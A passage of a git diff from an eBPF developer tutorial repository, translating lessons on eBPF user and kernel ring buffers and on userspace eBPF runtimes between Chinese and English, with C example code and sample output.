libraries and toolchain. It provides Uprobe and Syscall tracing points for eBPF, which significantly improves performance compared to kernel Uprobe and does not require manual code detection or process restart. The runtime supports process eBPF mapping in user space shared memory, and is also compatible with kernel eBPF mapping, allowing seamless operation with the kernel eBPF infrastructure. It includes a high-performance LLVM JIT for various architectures, a lightweight JIT for x86, and an interpreter. GitHub address: -eBPF 的双向环形队列也和 io_uring 在某些方面有相似之处,但它们的设计初衷和应用场景有所不同: +In bpftime, we use the user ring buffer to implement data transmission from user mode eBPF to kernel mode eBPF, and update the maps corresponding to kernel mode eBPF, so that kernel mode and user mode eBPF can work together. The asynchronous characteristics of user ring buffer can avoid unnecessary synchronization operations of system calls, thereby improving the efficiency of data transmission between kernel mode and user mode. -- **设计焦点**:io_uring主要专注于提高异步I/O操作的性能和效率,而eBPF的环形队列更多关注于内核和用户空间之间的数据通信和事件传输。 -- **应用范围**:io_uring主要用于文件I/O和网络I/O的场景,而eBPF的环形队列则更广泛,不限于I/O操作,还包括系统调用跟踪、网络数据包处理等。 -- **灵活性和扩展性**:eBPF提供了更高的灵活性和扩展性,允许用户定义复杂的数据处理逻辑,并在内核态执行。 +The bi-directional ring buffer of eBPF also has similarities to io_uring in some respects, but their design intentions and use cases are different: -下面,我们将通过一段代码示例,详细展示如何利用 user ring buffer,实现从用户态向内核传送数据,并以 kernel ring buffer 相应地从内核态向用户态传送数据。 +- **Design focus**: io_uring primarily focuses on improving the performance and efficiency of asynchronous I/O operations, while eBPF's ring buffer focuses more on data communication and event transmission between the kernel and user space. +- **Application range**: io_uring is mainly used in file I/O and network I/O scenarios, while eBPF's ring buffer is more widespread, not limited to I/O operations, but also including system call tracing, network packet processing, etc. +- **Flexibility and extensibility**: eBPF provides higher flexibility and extensibility, allowing users to define complex data processing logic and execute it in kernel mode. -## 一、实现:在用户态和内核态间使用 ring buffer 传送数据 +Following is a code example where we will show in detail how to use user ring buffer to transmit data from user mode to the kernel, and how to respond accordingly with kernel ring buffer to transmit data from kernel mode to user mode. -借助新的 BPF MAP,我们可以实现在用户态和内核态间通过环形缓冲区传送数据。在这个示例中,我们将详细说明如何在用户空间创建一个 "用户环形缓冲区" (user ring buffer) 并向其写入数据,然后在内核空间中通过 `bpf_user_ringbuf_drain` 函数来消费这些数据。同时,我们也会使用 "内核环形缓冲区" (kernel ring buffer) 来从内核空间反馈数据到用户空间。为此,我们需要在用户空间和内核空间分别创建并操作这两个环形缓冲区。 +## I. Implementation: Using Ring Buffer to Transfer Data Between User Mode and Kernel Mode -完整的代码可以在 中找到。 +With the help of the new BPF MAP, we can implement the transfer of data between user mode and kernel mode through the ring buffer. In this example, we will detail how to create a "user ring buffer" in user space and write data to it and then consume this data in kernel space with the `bpf_user_ringbuf_drain` function. At the same time, we will use the "kernel ring buffer" to feed back data from kernel space to user space. To do this, we need to create and operate these two ring buffers separately in user space and kernel space. -### 创建环形缓冲区 +The complete code can be found at . -在内核空间,我们创建了一个类型为 `BPF_MAP_TYPE_USER_RINGBUF` 的 `user_ringbuf`,以及一个类型为 `BPF_MAP_TYPE_RINGBUF` 的 `kernel_ringbuf`。在用户空间,我们创建了一个 `struct ring_buffer_user` 结构体的实例,并通过 `ring_buffer_user__new` 函数和对应的操作来管理这个用户环形缓冲区。 +### Create Ring Buffer + +In kernel mode, we created a `user_ringbuf` of type `BPF_MAP_TYPE_USER_RINGBUF` and a `kernel_ringbuf` of type `BPF_MAP_TYPE_RINGBUF`. In user mode, we created an instance of the `struct ring_buffer_user` structure and managed this user ring buffer through the `ring_buffer_user__new` function and corresponding operations. ```c /* Set up ring buffer polling */ @@ -50,9 +52,9 @@ eBPF 的双向环形队列也和 io_uring 在某些方面有相似之处,但 user_ringbuf = user_ring_buffer__new(bpf_map__fd(skel->maps.user_ringbuf), NULL); ``` -### 编写内核态程序 +### Writing Kernel Mode Programs -我们定义一个 `kill_exit` 的 tracepoint 程序,每当有进程退出时,它会通过 `bpf_user_ringbuf_drain` 函数读取 `user_ringbuf` 中的用户数据,然后通过 `bpf_ringbuf_reserve` 函数在 `kernel_ringbuf` 中创建一个新的记录,并写入相关信息。最后,通过 `bpf_ringbuf_submit` 函数将这个记录提交,使得该记录能够被用户空间读取。 +We define a `kill_exit` tracepoint program that will read user data from `user_ringbuf` with the `bpf_user_ringbuf_drain` function whenever a process exits. Then, it creates a new record in `kernel_ringbuf` with the `bpf_ringbuf_reserve` function and writes relevant information. Finally, the record is submitted with the `bpf_ringbuf_submit` function so that it can be read by user mode. ```c // SPDX-License-Identifier: GPL-2.0 @@ -115,9 +117,9 @@ int kill_exit(struct trace_event_raw_sys_exit *ctx) } ``` -### 编写用户态程序 +### Writing User Mode Programs -在用户空间,我们通过 `ring_buffer_user__reserve` 函数在 ring buffer 中预留出一段空间,这段空间用于写入我们希望传递给内核的信息。然后,通过 `ring_buffer_user__submit` 函数提交数据,之后这些数据就可以在内核态被读取。 +In user mode, we reserved a section of space in the ring buffer with the `ring_buffer_user__reserve` function. This space is used to write the information we want to pass to the kernel. Then, the data is submitted using the `ring_buffer_user__submit` function, after which this data can be read and processed in kernel mode. ```c static int write_samples(struct user_ring_buffer *ringbuf) @@ -155,9 +157,9 @@ done: } ``` -### 初始化环形缓冲区并轮询 +### Initialization of the Ring Buffer and Poll -最后,对 ring buffer 进行初始化并定时轮询,这样我们就可以实时得知内核态的数据消费情况,我们还可以在用户空间对 `user_ringbuf` 进行写入操作,然后在内核态对其进行读取和处理。 +Finally, initialize the ring buffer and periodically poll, so we can know in real-time the consumption of data in kernel mode. We can also write to the `user_ringbuf` in user mode, then read and process it in kernel mode. ```c write_samples(user_ringbuf); @@ -182,19 +184,19 @@ done: } ``` -通过以上步骤,我们实现了用户态与内核态间环形缓冲区的双向数据传输。 +Through the above steps, we have implemented two-way data transmission between user mode and kernel mode. -## 二、编译和运行代码 +## II. Compile and Run the Code -为了编译和运行以上代码,我们可以通过以下命令来实现: +To compile and run the above code, we can run the following command: ```sh make ``` -关于如何安装依赖,请参考: +For information on how to install dependencies, refer to: -运行结果将展示如何使用 user ring buffer 和 kernel ringbuffer 在用户态和内核态间进行高效的数据传输: +The execution result displays how to use the user ring buffer and kernel ringbuffer for efficient data transmission between user mode and kernel mode: ```console $ sudo ./user_ringbuf @@ -210,14 +212,14 @@ Draining current samples... Draining current samples... ``` -## 总结 +## Conclusion -在本篇文章中,我们介绍了如何使用eBPF的user ring buffer和kernel ring buffer在用户态和内核态之间进行数据传输。通过这种方式,我们可以有效地将用户态的数据传送给内核,或者将内核生成的数据反馈给用户,从而实现了内核态和用户态的双向通信。 +In this article, we discussed how to use eBPF's user ring buffer and kernel ring buffer for data transmission between user mode and kernel mode. Through this method, we can effectively deliver user data to the kernel or feed back kernel-generated data to the user, thus implementing two-way communication between the kernel and user modes. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or our website at for more examples and complete tutorials. -参考资料: +References: 1. [https://lwn.net/Articles/907056/](https://lwn.net/Articles/907056/) -> 原文地址: 转载请注明出处。 +> Original URL: Please indicate the source when reprinting. diff --git a/src/35-user-ringbuf/README.zh.md b/src/35-user-ringbuf/README.zh.md new file mode 100644 index 00000000..85affedc --- /dev/null +++ b/src/35-user-ringbuf/README.zh.md @@ -0,0 +1,223 @@ +# eBPF开发实践:使用 user ring buffer 向内核异步发送信息 + +eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。 + +eBPF的一个独特之处是它不仅可以在内核态运行程序,从而访问系统底层的状态和资源,同时也可以通过特殊的数据结构与用户态程序进行通信。关于这方面的一个重要概念就是内核态和用户态之间的环形队列——ring buffer。在许多实时或高性能要求的应用中,环形队列是一种常用的数据结构。由于它的FIFO(先进先出)特性,使得数据在生产者和消费者之间可以持续、线性地流动,从而避免了频繁的IO操作和不必要的内存 reallocation开销。 + +在eBPF中,分别提供了两种环形队列: user ring buffer 和 kernel ring buffer,以实现用户态和内核态之间的高效数据通信。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 + +## 用户态和内核态环形队列—user ring buffer和kernel ring buffer + +围绕内核态和用户态这两个主要运行级别,eBPF提供了两种相应的环形队列数据结构:用户态环形队列——User ring buffer和内核态环形队列——Kernel ring buffer。 + +Kernel ring buffer 则由 eBPF实现,专为Linux内核设计,用于追踪和记录内核日志、性能统计信息等,它的能力是内核态和用户态数据传输的核心,可以从内核态向用户态传送数据。Kernel ring buffer 在 5.7 版本的内核中被引入,目前已经被广泛应用于内核日志系统、性能分析工具等。 + +对于内核态往用户态发送应用场景,如内核监控事件的发送、异步通知、状态更新通知等,ring buffer 数据结构都能够胜任。比如,当我们需要监听网络服务程序的大量端口状态时,这些端口的开启、关闭、错误等状态更新就需由内核实时传递到用户空间进行处理。而Linux 内核的日志系统、性能分析工具等,也需要频繁地将大量数据发送到用户空间,以支持用户人性化地展示和分析这些数据。在这些场景中,ring buffer在内核态往用户态发送数据中表现出了极高的效率。 + +User ring buffer 是基于环形缓冲器的一种新型 Map 类型,它提供了单用户空间生产者/单内核消费者的语义。这种环形队列的优点是对异步消息传递提供了优秀的支持,避免了不必要的同步操作,使得内核到用户空间的数据传输可以被优化,并且降低了系统调用的系统开销。User ring buffer 在 6.1 版本的内核中被引入,目前的使用场景相对较少。 + +bpftime 是一个用户空间 eBPF 运行时,允许现有 eBPF 应用程序在非特权用户空间使用相同的库和工具链运行。它为 eBPF 提供了 Uprobe 和 Syscall 跟踪点,与内核 Uprobe 相比,性能有了显著提高,而且无需手动检测代码或重启进程。运行时支持用户空间共享内存中的进程间 eBPF 映射,也兼容内核 eBPF 映射,允许与内核 eBPF 基础架构无缝运行。它包括一个适用于各种架构的高性能 LLVM JIT,以及一个适用于 x86 的轻量级 JIT 和一个解释器。GitHub 地址: + +在 bpftime 中,我们使用 user ring buffer 来实现用户态 eBPF 往内核态 eBPF 发送数据,并更新内核态 eBPF 对应的 maps,让内核态和用户态的 eBPF 一起协同工作。user ring buffer 的异步特性,可以避免系统调用不必要的同步操作,从而提高了内核态和用户态之间的数据传输效率。 + +eBPF 的双向环形队列也和 io_uring 在某些方面有相似之处,但它们的设计初衷和应用场景有所不同: + +- **设计焦点**:io_uring主要专注于提高异步I/O操作的性能和效率,而eBPF的环形队列更多关注于内核和用户空间之间的数据通信和事件传输。 +- **应用范围**:io_uring主要用于文件I/O和网络I/O的场景,而eBPF的环形队列则更广泛,不限于I/O操作,还包括系统调用跟踪、网络数据包处理等。 +- **灵活性和扩展性**:eBPF提供了更高的灵活性和扩展性,允许用户定义复杂的数据处理逻辑,并在内核态执行。 + +下面,我们将通过一段代码示例,详细展示如何利用 user ring buffer,实现从用户态向内核传送数据,并以 kernel ring buffer 相应地从内核态向用户态传送数据。 + +## 一、实现:在用户态和内核态间使用 ring buffer 传送数据 + +借助新的 BPF MAP,我们可以实现在用户态和内核态间通过环形缓冲区传送数据。在这个示例中,我们将详细说明如何在用户空间创建一个 "用户环形缓冲区" (user ring buffer) 并向其写入数据,然后在内核空间中通过 `bpf_user_ringbuf_drain` 函数来消费这些数据。同时,我们也会使用 "内核环形缓冲区" (kernel ring buffer) 来从内核空间反馈数据到用户空间。为此,我们需要在用户空间和内核空间分别创建并操作这两个环形缓冲区。 + +完整的代码可以在 中找到。 + +### 创建环形缓冲区 + +在内核空间,我们创建了一个类型为 `BPF_MAP_TYPE_USER_RINGBUF` 的 `user_ringbuf`,以及一个类型为 `BPF_MAP_TYPE_RINGBUF` 的 `kernel_ringbuf`。在用户空间,我们创建了一个 `struct ring_buffer_user` 结构体的实例,并通过 `ring_buffer_user__new` 函数和对应的操作来管理这个用户环形缓冲区。 + +```c + /* Set up ring buffer polling */ + rb = ring_buffer__new(bpf_map__fd(skel->maps.kernel_ringbuf), handle_event, NULL, NULL); + if (!rb) + { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + user_ringbuf = user_ring_buffer__new(bpf_map__fd(skel->maps.user_ringbuf), NULL); +``` + +### 编写内核态程序 + +我们定义一个 `kill_exit` 的 tracepoint 程序,每当有进程退出时,它会通过 `bpf_user_ringbuf_drain` 函数读取 `user_ringbuf` 中的用户数据,然后通过 `bpf_ringbuf_reserve` 函数在 `kernel_ringbuf` 中创建一个新的记录,并写入相关信息。最后,通过 `bpf_ringbuf_submit` 函数将这个记录提交,使得该记录能够被用户空间读取。 + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2022 Meta Platforms, Inc. and affiliates. */ + +#include "vmlinux.h" +#include +#include +#include +#include "user_ringbuf.h" + +char _license[] SEC("license") = "GPL"; + +struct +{ + __uint(type, BPF_MAP_TYPE_USER_RINGBUF); + __uint(max_entries, 256 * 1024); +} user_ringbuf SEC(".maps"); + +struct +{ + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} kernel_ringbuf SEC(".maps"); + +int read = 0; + +static long +do_nothing_cb(struct bpf_dynptr *dynptr, void *context) +{ + struct event *e; + pid_t pid; + /* get PID and TID of exiting thread/process */ + pid = bpf_get_current_pid_tgid() >> 32; + + /* reserve sample from BPF ringbuf */ + e = bpf_ringbuf_reserve(&kernel_ringbuf, sizeof(*e), 0); + if (!e) + return 0; + + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + + /* send data to user-space for post-processing */ + bpf_ringbuf_submit(e, 0); + __sync_fetch_and_add(&read, 1); + return 0; +} + +SEC("tracepoint/syscalls/sys_exit_kill") +int kill_exit(struct trace_event_raw_sys_exit *ctx) +{ + long num_samples; + int err = 0; + + // receive data from userspace + num_samples = bpf_user_ringbuf_drain(&user_ringbuf, do_nothing_cb, NULL, 0); + + return 0; +} +``` + +### 编写用户态程序 + +在用户空间,我们通过 `ring_buffer_user__reserve` 函数在 ring buffer 中预留出一段空间,这段空间用于写入我们希望传递给内核的信息。然后,通过 `ring_buffer_user__submit` 函数提交数据,之后这些数据就可以在内核态被读取。 + +```c +static int write_samples(struct user_ring_buffer *ringbuf) +{ + int i, err = 0; + struct user_sample *entry; + + entry = user_ring_buffer__reserve(ringbuf, sizeof(*entry)); + if (!entry) + { + err = -errno; + goto done; + } + + entry->i = getpid(); + strcpy(entry->comm, "hello"); + + int read = snprintf(entry->comm, sizeof(entry->comm), "%u", i); + if (read <= 0) + { + /* Assert on the error path to avoid spamming logs with + * mostly success messages. + */ + err = read; + user_ring_buffer__discard(ringbuf, entry); + goto done; + } + + user_ring_buffer__submit(ringbuf, entry); + +done: + drain_current_samples(); + + return err; +} +``` + +### 初始化环形缓冲区并轮询 + +最后,对 ring buffer 进行初始化并定时轮询,这样我们就可以实时得知内核态的数据消费情况,我们还可以在用户空间对 `user_ringbuf` 进行写入操作,然后在内核态对其进行读取和处理。 + +```c + write_samples(user_ringbuf); + + /* Process events */ + printf("%-8s %-5s %-16s %-7s %-7s %s\n", + "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); + while (!exiting) + { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) + { + err = 0; + break; + } + if (err < 0) + { + printf("Error polling perf buffer: %d\n", err); + break; + } + } +``` + +通过以上步骤,我们实现了用户态与内核态间环形缓冲区的双向数据传输。 + +## 二、编译和运行代码 + +为了编译和运行以上代码,我们可以通过以下命令来实现: + +```sh +make +``` + +关于如何安装依赖,请参考: + +运行结果将展示如何使用 user ring buffer 和 kernel ringbuffer 在用户态和内核态间进行高效的数据传输: + +```console +$ sudo ./user_ringbuf +Draining current samples... +TIME EVENT COMM PID +16:31:37 SIGN node 1707 +Draining current samples... +16:31:38 SIGN node 1981 +Draining current samples... +16:31:38 SIGN node 1707 +Draining current samples... +16:31:38 SIGN node 1707 +Draining current samples... +``` + +## 总结 + +在本篇文章中,我们介绍了如何使用eBPF的user ring buffer和kernel ring buffer在用户态和内核态之间进行数据传输。通过这种方式,我们可以有效地将用户态的数据传送给内核,或者将内核生成的数据反馈给用户,从而实现了内核态和用户态的双向通信。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +参考资料: + +1. [https://lwn.net/Articles/907056/](https://lwn.net/Articles/907056/) + +> 原文地址: 转载请注明出处。 diff --git a/src/35-user-ringbuf/README_en.md b/src/35-user-ringbuf/README_en.md deleted file mode 100644 index 769f6b7a..00000000 --- a/src/35-user-ringbuf/README_en.md +++ /dev/null @@ -1,223 +0,0 @@ -# eBPF Development Practices: Asynchronously Send to Kernel with User Ring Buffer - -eBPF, or Extended Berkeley Packet Filter, is a revolutionary technology in the Linux kernel that allows developers to run custom "micro programs" in kernel mode, thereby changing system behavior or collecting fine-grained performance data without modifying kernel code. - -One unique aspect of eBPF is that it not only allows programs to run in kernel mode to access low-level system states and resources, but it can also communicate with user mode programs through special data structures. One important concept in this regard is the ring buffer between kernel mode and user mode. In many real-time or high-performance applications, the ring buffer is a commonly used data structure. Due to its FIFO (first in, first out) characteristics, data can flow continuously and linearly between the producer and the consumer, avoiding frequent IO operations and unnecessary memory reallocation overhead. - -In eBPF, two types of ring buffers are provided: user ring buffer and kernel ring buffer, to achieve efficient data communication between user mode and kernel mode. This article is part of the eBPF developer tutorial. More detailed content can be found here: The source code is open source in the . - -## User mode and kernel mode ring buffers—user ring buffer and kernel ring buffer - -Around the two main run levels of kernel mode and user mode, eBPF provides two corresponding ring buffer data structures: User ring buffer and Kernel ring buffer. - -Kernel ring buffer is implemented by eBPF and is specially designed for the Linux kernel to track and record kernel logs, performance statistics, etc. It is the core of data transfer from kernel mode to user mode and can send data from kernel mode to user mode. Kernel ring buffer was introduced in the 5.7 version of the kernel and is now widely used in the kernel logging system, performance analysis tools, etc. - -For scenarios where the kernel sends to user mode, such as sending kernel monitoring events, asynchronous notifications, status update notifications, etc., the ring buffer data structure can handle them. For example, when we need to monitor the status of a large number of ports of network service programs, the opening, closing, errors, and other status updates of these ports need to be real-time transferred to the user space for processing. Linux kernel's logging system, performance analysis tools, etc., also need to frequently send large amounts of data to user space to support user-friendly display and analysis of these data. In these scenarios, the ring buffer shows extremely high efficiency in sending data from the kernel to the user. - -User ring buffer is a new type of Map type based on the ring buffer, it provides the semantics of a single user space producer/single kernel consumer. The advantage of this ring buffer is that it provides excellent support for asynchronous message passing, avoiding unnecessary synchronization operations, optimizing data transfer from the kernel to user space, and reducing the system overhead of system calls. User ring buffer was introduced in the 6.1 version of the kernel and its current use cases are relatively limited. - -bpftime is a user space eBPF runtime that allows existing eBPF applications to run in unprivileged user space using the same libraries and toolchain. It provides Uprobe and Syscall tracing points for eBPF, which significantly improves performance compared to kernel Uprobe and does not require manual code detection or process restart. The runtime supports process eBPF mapping in user space shared memory, and is also compatible with kernel eBPF mapping, allowing seamless operation with the kernel eBPF infrastructure. It includes a high-performance LLVM JIT for various architectures, a lightweight JIT for x86, and an interpreter. GitHub address: - -In bpftime, we use the user ring buffer to implement data transmission from user mode eBPF to kernel mode eBPF, and update the maps corresponding to kernel mode eBPF, so that kernel mode and user mode eBPF can work together. The asynchronous characteristics of user ring buffer can avoid unnecessary synchronization operations of system calls, thereby improving the efficiency of data transmission between kernel mode and user mode. - -The bi-directional ring buffer of eBPF also has similarities to io_uring in some respects, but their design intentions and use cases are different: - -- **Design focus**: io_uring primarily focuses on improving the performance and efficiency of asynchronous I/O operations, while eBPF's ring buffer focuses more on data communication and event transmission between the kernel and user space. -- **Application range**: io_uring is mainly used in file I/O and network I/O scenarios, while eBPF's ring buffer is more widespread, not limited to I/O operations, but also including system call tracing, network packet processing, etc. -- **Flexibility and extensibility**: eBPF provides higher flexibility and extensibility, allowing users to define complex data processing logic and execute it in kernel mode. - -Following is a code example where we will show in detail how to use user ring buffer to transmit data from user mode to the kernel, and how to respond accordingly with kernel ring buffer to transmit data from kernel mode to user mode. - -## I. Implementation: Using Ring Buffer to Transfer Data Between User Mode and Kernel Mode - -With the help of the new BPF MAP, we can implement the transfer of data between user mode and kernel mode through the ring buffer. In this example, we will detail how to create a "user ring buffer" in user space and write data to it and then consume this data in kernel space with the `bpf_user_ringbuf_drain` function. At the same time, we will use the "kernel ring buffer" to feed back data from kernel space to user space. To do this, we need to create and operate these two ring buffers separately in user space and kernel space. - -The complete code can be found at . - -### Create Ring Buffer - -In kernel mode, we created a `user_ringbuf` of type `BPF_MAP_TYPE_USER_RINGBUF` and a `kernel_ringbuf` of type `BPF_MAP_TYPE_RINGBUF`. In user mode, we created an instance of the `struct ring_buffer_user` structure and managed this user ring buffer through the `ring_buffer_user__new` function and corresponding operations. - -```c - /* Set up ring buffer polling */ - rb = ring_buffer__new(bpf_map__fd(skel->maps.kernel_ringbuf), handle_event, NULL, NULL); - if (!rb) - { - err = -1; - fprintf(stderr, "Failed to create ring buffer\n"); - goto cleanup; - } - user_ringbuf = user_ring_buffer__new(bpf_map__fd(skel->maps.user_ringbuf), NULL); -``` - -### Writing Kernel Mode Programs - -We define a `kill_exit` tracepoint program that will read user data from `user_ringbuf` with the `bpf_user_ringbuf_drain` function whenever a process exits. Then, it creates a new record in `kernel_ringbuf` with the `bpf_ringbuf_reserve` function and writes relevant information. Finally, the record is submitted with the `bpf_ringbuf_submit` function so that it can be read by user mode. - -```c -// SPDX-License-Identifier: GPL-2.0 -/* Copyright (c) 2022 Meta Platforms, Inc. and affiliates. */ - -#include "vmlinux.h" -#include -#include -#include -#include "user_ringbuf.h" - -char _license[] SEC("license") = "GPL"; - -struct -{ - __uint(type, BPF_MAP_TYPE_USER_RINGBUF); - __uint(max_entries, 256 * 1024); -} user_ringbuf SEC(".maps"); - -struct -{ - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} kernel_ringbuf SEC(".maps"); - -int read = 0; - -static long -do_nothing_cb(struct bpf_dynptr *dynptr, void *context) -{ - struct event *e; - pid_t pid; - /* get PID and TID of exiting thread/process */ - pid = bpf_get_current_pid_tgid() >> 32; - - /* reserve sample from BPF ringbuf */ - e = bpf_ringbuf_reserve(&kernel_ringbuf, sizeof(*e), 0); - if (!e) - return 0; - - e->pid = pid; - bpf_get_current_comm(&e->comm, sizeof(e->comm)); - - /* send data to user-space for post-processing */ - bpf_ringbuf_submit(e, 0); - __sync_fetch_and_add(&read, 1); - return 0; -} - -SEC("tracepoint/syscalls/sys_exit_kill") -int kill_exit(struct trace_event_raw_sys_exit *ctx) -{ - long num_samples; - int err = 0; - - // receive data from userspace - num_samples = bpf_user_ringbuf_drain(&user_ringbuf, do_nothing_cb, NULL, 0); - - return 0; -} -``` - -### Writing User Mode Programs - -In user mode, we reserved a section of space in the ring buffer with the `ring_buffer_user__reserve` function. This space is used to write the information we want to pass to the kernel. Then, the data is submitted using the `ring_buffer_user__submit` function, after which this data can be read and processed in kernel mode. - -```c -static int write_samples(struct user_ring_buffer *ringbuf) -{ - int i, err = 0; - struct user_sample *entry; - - entry = user_ring_buffer__reserve(ringbuf, sizeof(*entry)); - if (!entry) - { - err = -errno; - goto done; - } - - entry->i = getpid(); - strcpy(entry->comm, "hello"); - - int read = snprintf(entry->comm, sizeof(entry->comm), "%u", i); - if (read <= 0) - { - /* Assert on the error path to avoid spamming logs with - * mostly success messages. - */ - err = read; - user_ring_buffer__discard(ringbuf, entry); - goto done; - } - - user_ring_buffer__submit(ringbuf, entry); - -done: - drain_current_samples(); - - return err; -} -``` - -### Initialization of the Ring Buffer and Poll - -Finally, initialize the ring buffer and periodically poll, so we can know in real-time the consumption of data in kernel mode. We can also write to the `user_ringbuf` in user mode, then read and process it in kernel mode. - -```c - write_samples(user_ringbuf); - - /* Process events */ - printf("%-8s %-5s %-16s %-7s %-7s %s\n", - "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); - while (!exiting) - { - err = ring_buffer__poll(rb, 100 /* timeout, ms */); - /* Ctrl-C will cause -EINTR */ - if (err == -EINTR) - { - err = 0; - break; - } - if (err < 0) - { - printf("Error polling perf buffer: %d\n", err); - break; - } - } -``` - -Through the above steps, we have implemented two-way data transmission between user mode and kernel mode. - -## II. Compile and Run the Code - -To compile and run the above code, we can run the following command: - -```sh -make -``` - -For information on how to install dependencies, refer to: - -The execution result displays how to use the user ring buffer and kernel ringbuffer for efficient data transmission between user mode and kernel mode: - -```console -$ sudo ./user_ringbuf -Draining current samples... -TIME EVENT COMM PID -16:31:37 SIGN node 1707 -Draining current samples... -16:31:38 SIGN node 1981 -Draining current samples... -16:31:38 SIGN node 1707 -Draining current samples... -16:31:38 SIGN node 1707 -Draining current samples... -``` - -## Conclusion - -In this article, we discussed how to use eBPF's user ring buffer and kernel ring buffer for data transmission between user mode and kernel mode. Through this method, we can effectively deliver user data to the kernel or feed back kernel-generated data to the user, thus implementing two-way communication between the kernel and user modes. - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or our website at for more examples and complete tutorials. - -References: - -1. [https://lwn.net/Articles/907056/](https://lwn.net/Articles/907056/) - -> Original URL: Please indicate the source when reprinting. diff --git a/src/35-user-ringbuf/user_ringbuf.c b/src/35-user-ringbuf/user_ringbuf.c index dfeb8cd7..c80be1c1 100644 --- a/src/35-user-ringbuf/user_ringbuf.c +++ b/src/35-user-ringbuf/user_ringbuf.c @@ -4,6 +4,8 @@ #include #include #include +#include +#include #include #include #include "user_ringbuf.h" diff --git a/src/36-userspace-ebpf/.config b/src/36-userspace-ebpf/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/36-userspace-ebpf/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/36-userspace-ebpf/README.md b/src/36-userspace-ebpf/README.md index 6747fda5..d836cd8a 100644 --- a/src/36-userspace-ebpf/README.md +++ b/src/36-userspace-ebpf/README.md @@ -1,151 +1,150 @@ -# 用户空间 eBPF 运行时:深度解析与应用实践 +# Userspace eBPF Runtimes: Overview and Applications -郑昱笙 +Yusheng Zheng -本文旨在对用户空间的 eBPF 运行时和对应的一些应用场景进行剖析和总结。尽管大多数人对基于内核的 eBPF 已有所了解,用户空间 eBPF 的进展和应用实践同样引人注目。本文还将探讨用户空间 eBPF 运行时与 Wasm 运行时的技术比较,后者在云原生和边缘计算领域已获得广泛的关注。我们也新开源了一个用户态 eBPF 运行时 [bpftime](https://github.com/eunomia-bpf/bpftime)。通过 LLVM `JIT/AOT` 后端支持,我们的基准测试表明 bpftime 是最快的用户空间 eBPF 运行时之一,同时还可以让内核中间的 eBPF Uprobe 无缝在用户空间运行,获得近十倍的性能提升。 +In this blog post, we'll dive into the world of eBPF in userspace. While many are familiar with kernel-based eBPF, userspace eBPF runtimes have been making significant strides and offer compelling use cases. We will also compare userspace eBPF runtimes with Wasm runtimes, another popular technology in the cloud-native and edge computing landscape. Among these, we're excited to introduce [bpftime](https://github.com/eunomia-bpf/bpftime). Powered by an LLVM `JIT/AOT` backend, our benchmarks suggest that bpftime stands out as one of the fastest userspace eBPF runtimes available. -## eBPF:内核的动态扩展运行时与字节码 +> The complete source code: -### eBPF 究竟是何方神圣? +## Introduction to eBPF -eBPF,全称 "extended Berkeley Packet Filter",是一项允许在不更改内核源代码或重启系统的情况下动态干预和修改内核行为的革命性技术。虽然 eBPF 起初是作为网络数据包过滤工具而设计,但如今已广泛应用于从性能分析到安全策略等多个方面,逐渐成为系统管理员的得力助手。 +### What is eBPF? -eBPF 的前身,Berkeley Packet Filter (BPF) —— 20 世纪 90 年代初的产物,主要用于网络数据包的高效过滤。尽管 BPF 已被广大用户所认可,eBPF 的出现则为其带来了更为广泛的指令集,并能直接与内核数据结构互动。自 2014 年 Linux 内核引入 eBPF 以后,它的影响力迅速扩张。Linux 的核心开发团队不断地完善 eBPF,使其从一个基础的网络数据包过滤器逐渐演变为一个功能强大的字节码引擎。 +eBPF, which stands for "extended Berkeley Packet Filter," is a revolutionary technology that facilitates the dynamic tracing and monitoring of kernel operations without modifying kernel source code or rebooting the system. Originally designed for network packet filtering, eBPF has evolved to support a wide range of applications, from performance analysis to security, making it a versatile tool in a system administrator's arsenal. -### eBPF 对现代计算和网络的深远影响 +The story of eBPF begins with the Berkeley Packet Filter (BPF), introduced in the early 1990s as a way to filter and capture network packets efficiently. Over the years, BPF proved to be an invaluable asset, but there was room for improvement. eBPF emerged as an advanced iteration of BPF, equipped with a richer instruction set and the capability to interact with kernel data structures directly. -随着现代计算环境日益复杂,实时数据的采集和深入分析显得尤为重要。在这一背景下,eBPF 凭借其卓越的动态性,为开发者和管理员提供了实时干预系统行为的强大工具。eBPF 以其卓越的灵活性在现代网络解决方案中占据核心地位。它为流量控制、负载均衡及安全策略在内核级别提供了细致的控制手段,确保了系统的性能优化和安全稳定。同时,eBPF 在系统可观察性上也做出了显著贡献,为各种系统调用和硬件事件提供了详细的可编程追踪方案,促进了问题的迅速定位和解决。 +The Linux kernel adopted eBPF around 2014, and since then, its popularity and adoption have skyrocketed. Key contributors to the Linux kernel worked diligently to evolve eBPF from a simple packet filter to a generic and powerful bytecode engine. -## 用户空间 eBPF 运行时:eBPF 的新生代 +### Its significance in modern computing and network solutions -### 什么是用户空间 eBPF 运行时? +In today's complex computing environments, the need for real-time data and insights is paramount. eBPF shines in this regard, allowing developers and administrators to introspect and modify system behaviors on the fly. -虽然 eBPF 最初是为内核设计的,但它在用户空间的巨大潜力,以及内核对于 `GPL LICENSE` 的限制,也催生了用户空间 eBPF 